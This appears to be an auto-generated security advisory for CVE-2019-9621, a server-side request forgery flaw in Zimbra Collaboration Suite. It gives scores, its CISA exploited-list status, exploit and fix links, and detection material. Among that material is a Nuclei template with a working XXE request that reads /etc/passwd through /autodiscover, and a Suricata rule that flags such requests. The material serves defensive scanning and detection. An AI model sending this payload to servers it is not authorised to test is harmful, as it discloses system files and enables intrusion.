CVE-2019-9621: Synacor Zimbra Collaboration Suite (ZCS) Server-Side Request Forgery (SSRF) Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Zimbra Collaboration Suite before 8.6 patch 13, 8.7.x before 8.7.11 patch 10, and 8.8.x before 8.8.10 patch 7 or 8.8.x before 8.8.11 patch 3 allows SSRF via the ProxyServlet component.
Description quoted from the CVE record (assigned by mitre, published 2019-04-30).
Weakness: CWE-918 Server-Side Request Forgery (SSRF)
How it can be exploited
Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: partial.
- On CISA KEV since
- 2025-07-07
- US federal deadline
- 2025-07-28
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Also known as: BDU:2021-04391, BDU:2024-08043, CNNVD-201904-602, EDB-46693, EDB-46967, EUVD-2019-18992, EUVD-2019-19036, GHSA-gf2h-5qx6-v9fr, GHSA-pj74-pf28-5qjw
VEDAS cluster: VEDAS:BRAVEBIGBANG
Exploit Observer links 8 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (8)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Exploit-DB: https://www.exploit-db.com/raw/46693
- Exploit-DB: https://www.exploit-db.com/raw/46967
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2019/CVE-2019-9621.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2019/CVE-2019-9621.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2019/CVE-2019-9621.yaml
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2019/CVE-2019-9621.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2019/CVE-2019-9621.rules
- Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2019/CVE-2019-9621.rules
Vulnerability databases and vendor advisories (9)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2019-18992
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2019-19036
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-gf2h-5qx6-v9fr
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-pj74-pf28-5qjw
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2019-9621
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2019-9621
- Vulnerability database or vendor advisory: https://osv.dev/vulnerability/CVE-2019-9621
- Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-9621
- Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-201904-602
32 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.810
very likely to be attacked soon - VEDAS
- 0.980
strong exploit evidence - On CISA KEV
- Yes, since 2025-07-07
Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Not stated | version n/a | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Vendor guidance:
- https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
- https://wiki.zimbra.com/wiki/Security_Center
- https://nvd.nist.gov/vuln/detail/CVE-2019-9621
How to detect it
Nuclei template (active check)
Zimbra Collaboration - Server-Side Request Forgery
Zimbra Collaboration Suite before 8.6 patch 13, 8.7.x before 8.7.11 patch 10, and 8.8.x before 8.8.10 patch 7 or 8.8.x before 8.8.11 patch 3 allows SSRF via the ProxyServlet component.
Name and description quoted from the template, written by VEDAS.
The template sends 1 request (POST /autodiscover); it decides using dsl matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2019-9621.yamlShow the template (45 lines)
id: CVE-2019-9621
info:
name: "Zimbra Collaboration - Server-Side Request Forgery"
author: vedas-arpsyndicate
severity: high
description: |
Zimbra Collaboration Suite before 8.6 patch 13, 8.7.x before 8.7.11 patch 10, and 8.8.x before 8.8.10 patch 7
or 8.8.x before 8.8.11 patch 3 allows SSRF via the ProxyServlet component.
reference:
- https://www.exploit.observer/?keyword=CVE-2019-9621&match=exact
- https://subdomain.center/?engine=ammonites&keyword=zimbra&match=exact
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2019-9621
cwe-id: CWE-918
metadata:
verified: false
tags: cve,cve2019,zimbra,collaboration-server,oast,oob,xxe,kev,vkev,vuln
http:
- raw:
- |
POST /autodiscover HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE soap [
<!ELEMENT soap ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover>
<Request>
<EMailAddress>test@example.com</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
matchers:
- type: dsl
dsl:
- regex('root:.*:0:0:', body)
- contains(body, "response schema")
- contains(header, "text/html")
condition: and
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2019-9621 Zimbra Collaboration - Server-Side Request Forgery. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2019-9621 Zimbra Collaboration - Server-Side Request Forgery"; flow:established,to_server; http.uri; content:"autodiscover"; nocase; http.request_body; content:"etc/passwd"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2019-9621; reference:url,https://www.exploit.observer/?keyword=CVE-2019-9621&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=zimbra&match=exact; sid:1010537; rev:1;)
References
Exploits and technical analysis
- 46693 (exploit, x_refsource_EXPLOIT-DB)
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-9621 (government-resource)
Other references
- https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories (x_refsource_CONFIRM)
- https://wiki.zimbra.com/wiki/Security_Center (x_refsource_MISC)
- https://bugzilla.zimbra.com/show_bug.cgi?id=109127 (x_refsource_MISC)
- http://www.rapid7.com/db/modules/exploit/linux/http/zimbra_xxe_rce (x_refsource_MISC)
- http://packetstormsecurity.com/files/152487/Zimbra-Collaboration-Autodiscover-Servlet-XXE-ProxyServlet-SSRF.html (x_refsource_MISC)
- https://blog.zimbra.com/2019/03/9826/ (x_refsource_MISC)
- https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html (x_refsource_MISC)
- http://packetstormsecurity.com/files/153190/Zimbra-XML-Injection-Server-Side-Request-Forgery.html (x_refsource_MISC)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.